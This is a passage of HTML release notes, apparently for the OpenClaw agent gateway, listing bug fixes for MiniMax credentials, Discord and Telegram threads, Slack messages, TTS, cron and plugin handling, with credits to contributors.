<p>Web search/MiniMax: allow <code>MINIMAX_OAUTH_TOKEN</code> to satisfy MiniMax Search credentials, so OAuth-authorized MiniMax Token Plan setups do not need a separate web-search key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252008941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65768" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65768/hovercard" href="https://github.com/openclaw/openclaw/issues/65768">#65768</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kikibrian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kikibrian">@kikibrian</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</p>
</li>
<li>
<p>Providers/MiniMax: derive Coding Plan usage polling from the configured MiniMax base URL, so global setups no longer query the CN usage host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246049228" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65054/hovercard" href="https://github.com/openclaw/openclaw/issues/65054">#65054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sixone74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sixone74">@sixone74</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</p>
</li>
<li>
<p>Control UI/WebChat: skip assistant-media transcript supplements when stale media refs resolve to no playable media, so text-only final replies are not stored a second time as gateway-injected assistant messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347391100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73956/hovercard" href="https://github.com/openclaw/openclaw/issues/73956">#73956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</p>
</li>
<li>
<p>Sessions: reject <code>sessions_send</code> targets that resolve to thread-scoped chat sessions, so inter-agent coordination cannot be injected into active human-facing Slack or Discord threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117274546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52496/hovercard" href="https://github.com/openclaw/openclaw/issues/52496">#52496</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barry-p5cc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barry-p5cc">@barry-p5cc</a>.</p>
</li>
<li>
<p>Subagents: honor <code>sessions_spawn</code> with <code>expectsCompletionMessage: false</code> by skipping parent completion handoff delivery while still running child cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75848/hovercard" href="https://github.com/openclaw/openclaw/issues/75848">#75848</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Media/completions: treat media-only message-tool sends as delivered async completion output, avoiding duplicate raw <code>MEDIA:</code> fallback posts after video or music generation finishes.</p>
</li>
<li>
<p>Gateway/logging: keep deferred channel startup logs on the subsystem logger, so Slack, Discord, Telegram, and voice-call startup messages keep timestamped prefixes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Codex/app-server: recover JSON-RPC frames split by raw command-output newlines and include a redacted preview when malformed app-server messages still reach the console. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Replies/typing: keep typing alive for queued follow-up messages that are genuinely waiting behind an active run, instead of making chat surfaces look idle while work is queued. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251046189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65685/hovercard" href="https://github.com/openclaw/openclaw/issues/65685">#65685</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/papag00se/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/papag00se">@papag00se</a>.</p>
</li>
<li>
<p>ACP/Discord: suppress completion announce delivery for inline thread-bound ACP session runs, so Discord thread-bound ACP replies are not delivered twice. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204352483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60780/hovercard" href="https://github.com/openclaw/openclaw/issues/60780">#60780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solavrc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solavrc">@solavrc</a>.</p>
</li>
<li>
<p>Discord/threads: ignore webhook-authored copies in already-bound Discord session threads even when the webhook id differs, preventing PluralKit proxy copies from creating duplicate turn pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114424047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52005/hovercard" href="https://github.com/openclaw/openclaw/issues/52005">#52005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>.</p>
</li>
<li>
<p>Discord/threads: return the created thread as partial success when the follow-up initial message fails, so agents do not retry thread creation and create empty duplicate threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084295408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48450" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48450/hovercard" href="https://github.com/openclaw/openclaw/issues/48450">#48450</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dahifi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dahifi">@dahifi</a>.</p>
</li>
<li>
<p>Discord/components: consume every button or select in a non-reusable component message after the first authorized click, so single-use panels cannot fire sibling callbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4132338088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54227/hovercard" href="https://github.com/openclaw/openclaw/issues/54227">#54227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujiwarakasei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujiwarakasei">@fujiwarakasei</a>.</p>
</li>
<li>
<p>macOS/config: preserve existing <code>gateway.auth</code> and unrelated config keys during app fallback writes, so dashboard or Talk settings changes cannot strand Control UI clients by dropping persisted auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364348126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75631/hovercard" href="https://github.com/openclaw/openclaw/issues/75631">#75631</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fuma2013/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fuma2013">@Fuma2013</a>.</p>
</li>
<li>
<p>Control UI/TUI: keep reconnecting chat sends bound to the same backing session id and let TUI relaunches resume the last selected session, avoiding silent fresh sessions after refresh, reconnect, or terminal restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225359321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63195/hovercard" href="https://github.com/openclaw/openclaw/issues/63195">#63195</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283461066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68162" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68162/hovercard" href="https://github.com/openclaw/openclaw/issues/68162">#68162</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342917722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73546" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73546/hovercard" href="https://github.com/openclaw/openclaw/issues/73546">#73546</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bond260312-cmyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bond260312-cmyk">@bond260312-cmyk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhong18804784882/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhong18804784882">@zhong18804784882</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mtuwei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mtuwei">@mtuwei</a>.</p>
</li>
<li>
<p>Plugins/tools: let plugin manifests declare static tool availability so reply startup skips unavailable plugin tool runtimes instead of importing factories that only return <code>null</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Discord/reactions: skip reaction listener registration when DMs and group DMs are disabled and every configured guild has <code>reactionNotifications: "off"</code>, avoiding needless reaction-event queue work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078796783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47516/hovercard" href="https://github.com/openclaw/openclaw/issues/47516">#47516</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/x4v13r1120/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/x4v13r1120">@x4v13r1120</a>.</p>
</li>
<li>
<p>CLI sessions: preserve explicit manual-attach reuse bindings so trusted CLI sessions are not invalidated on the first turn when auth, prompt, or MCP fingerprints drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75849/hovercard" href="https://github.com/openclaw/openclaw/issues/75849">#75849</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Telegram/streaming: keep partial preview streaming enabled for plain reply-to replies, disabling drafts only for real native quote excerpts that require Telegram quote parameters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577179" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73505" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73505/hovercard" href="https://github.com/openclaw/openclaw/issues/73505">#73505</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choury">@choury</a>.</p>
</li>
<li>
<p>Config: log the "newer OpenClaw" version warning once per process instead of once per config snapshot read. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367749952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75927" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75927/hovercard" href="https://github.com/openclaw/openclaw/pull/75927">#75927</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Telegram/message actions: treat benign delete-message 400s as no-op warnings instead of runtime errors, so stale or already-removed messages do not create noisy delete failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345339727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73726" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73726/hovercard" href="https://github.com/openclaw/openclaw/issues/73726">#73726</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Avicennasis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Avicennasis">@Avicennasis</a>.</p>
</li>
<li>
<p>Telegram: split long default markdown sends and media follow-up text into safe HTML chunks, so outbound messages over Telegram's limit no longer fail as one oversized Bot API request. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367257816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75868/hovercard" href="https://github.com/openclaw/openclaw/issues/75868">#75868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhengsx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhengsx">@zhengsx</a>.</p>
</li>
<li>
<p>Gateway/chat history: merge Claude CLI transcript imports for Anthropic-routed sessions that still have a Claude CLI binding, so local chat history does not hide CLI JSONL turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367073060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75850/hovercard" href="https://github.com/openclaw/openclaw/issues/75850">#75850</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Media: trim serialized JSON suffixes after local <code>MEDIA:</code> directive file extensions, so generated-image metadata cannot pollute the parsed media path and cause false <code>ENOENT</code> delivery failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360047482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75182/hovercard" href="https://github.com/openclaw/openclaw/issues/75182">#75182</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TnzGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TnzGit">@TnzGit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/runtime: hot-reload Gateway plugin runtime surfaces after plugin enable/disable changes while keeping source-changing plugin install, update, and uninstall operations restart-backed so loaded module code is not reused. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330564867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72097" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72097/hovercard" href="https://github.com/openclaw/openclaw/issues/72097">#72097</a>.</p>
</li>
<li>
<p>Cron: make scheduler reload schedule comparison tolerate malformed persisted jobs, so one bad cron entry no longer aborts the whole tick. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367497925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75886/hovercard" href="https://github.com/openclaw/openclaw/issues/75886">#75886</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samfox-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samfox-ai">@samfox-ai</a>.</p>
</li>
<li>
<p>Doctor/channels: warn after migrations when default Telegram or Discord accounts have no configured token and their env fallback (<code>TELEGRAM_BOT_TOKEN</code> or <code>DISCORD_BOT_TOKEN</code>) is unavailable, with secret-safe migration docs for checking state-dir <code>.env</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74298/hovercard" href="https://github.com/openclaw/openclaw/issues/74298">#74298</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: keep idle liveness samples in telemetry instead of visible warning logs unless diagnostic work is active, waiting, or queued. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/cron: reject provider-prefixed targets for the wrong channel and let prefixed announce targets such as <code>telegram:123</code> select their channel when delivery falls back to <code>last</code>, so Telegram IDs cannot be coerced into WhatsApp phone numbers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162988650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56839" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56839/hovercard" href="https://github.com/openclaw/openclaw/issues/56839">#56839</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bencoremans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bencoremans">@bencoremans</a>.</p>
</li>
<li>
<p>Control UI/chat: keep live replies visible when a raw session alias such as <code>main</code> sends the chat turn but Gateway emits events under the canonical session key for the same run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345216396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73716" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73716/hovercard" href="https://github.com/openclaw/openclaw/issues/73716">#73716</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teebes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teebes">@teebes</a>.</p>
</li>
<li>
<p>CLI/models: reject <code>--agent</code> on <code>openclaw models set</code> and <code>set-image</code> instead of silently writing agent-scoped requests to global model defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286636018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68391/hovercard" href="https://github.com/openclaw/openclaw/issues/68391">#68391</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derrickabellard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derrickabellard">@derrickabellard</a>.</p>
</li>
<li>
<p>CLI: stop treating the legacy singular <code>openclaw tool ...</code> token as a plugin id under restrictive <code>plugins.allow</code>, so it falls through as a normal unknown/reserved command instead of suggesting a stale allowlist entry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243981916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64732" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64732/hovercard" href="https://github.com/openclaw/openclaw/issues/64732">#64732</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SweetSophia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SweetSophia">@SweetSophia</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hashtag1974/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hashtag1974">@hashtag1974</a>.</p>
</li>
<li>
<p>Media: write inbound media buffers through same-directory temp files before rename, so failed disk writes do not leave zero-byte artifacts for later voice transcription. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154946745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55966" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55966/hovercard" href="https://github.com/openclaw/openclaw/issues/55966">#55966</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</p>
</li>
<li>
<p>TTS/Telegram: keep trusted local audio generated by the TTS tool queued for voice-note delivery even when the run-level built-in tool list omits the raw <code>tts</code> name. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354905008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74752/hovercard" href="https://github.com/openclaw/openclaw/issues/74752">#74752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loveworld3033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loveworld3033">@Loveworld3033</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</p>
</li>
<li>
<p>TTS: require explicit user or config audio intent for the agent speech tool so dashboard chats stay text unless audio is requested. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303803702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69777/hovercard" href="https://github.com/openclaw/openclaw/issues/69777">#69777</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>.</p>
</li>
<li>
<p>Plugins/config: keep bundled source-checkout plugins from being runtime-gated by install-only <code>minHostVersion</code> metadata, accept prerelease host floors, trim plugin-service startup failures to one log line, and avoid broad channel-runtime loading during base config parsing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Heartbeat: strip legacy <code>[TOOL_CALL]...[/TOOL_CALL]</code> and <code>[TOOL_RESULT]...[/TOOL_RESULT]</code> pseudo-call blocks from heartbeat replies before channel delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131762668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54138/hovercard" href="https://github.com/openclaw/openclaw/issues/54138">#54138</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Deniable9570/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Deniable9570">@Deniable9570</a>.</p>
</li>
<li>
<p>macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107671050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51040/hovercard" href="https://github.com/openclaw/openclaw/issues/51040">#51040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carl-jeffrolc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carl-jeffrolc">@carl-jeffrolc</a>.</p>
</li>
<li>
<p>Providers/xAI: give Grok <code>web_search</code> a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175237199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58063" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58063/hovercard" href="https://github.com/openclaw/openclaw/issues/58063">#58063</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183930735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58733/hovercard" href="https://github.com/openclaw/openclaw/issues/58733">#58733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dnishimura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dnishimura">@dnishimura</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marvcasasola-svg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marvcasasola-svg">@marvcasasola-svg</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</p>
</li>
<li>
<p>Providers/configure: preserve the existing default model when adding or reauthing a provider whose plugin returns a default-model config patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099627324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50268/hovercard" href="https://github.com/openclaw/openclaw/issues/50268">#50268</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rixcorp-oc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rixcorp-oc">@rixcorp-oc</a>.</p>
</li>
<li>
<p>Slack/message actions: send media before the follow-up Block Kit message when Slack <code>send</code> includes a file plus presentation or interactive controls, so file attachments are no longer rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111591995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51458/hovercard" href="https://github.com/openclaw/openclaw/issues/51458">#51458</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HirokiKobayashi-R/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HirokiKobayashi-R">@HirokiKobayashi-R</a>.</p>
</li>
<li>
<p>Slack/DMs: honor <code>dmHistoryLimit</code> for fresh 1:1 Slack DM sessions by backfilling recent conversation history before the current reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240708914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64427/hovercard" href="https://github.com/openclaw/openclaw/issues/64427">#64427</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brantley-creator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brantley-creator">@brantley-creator</a>.</p>
</li>
<li>
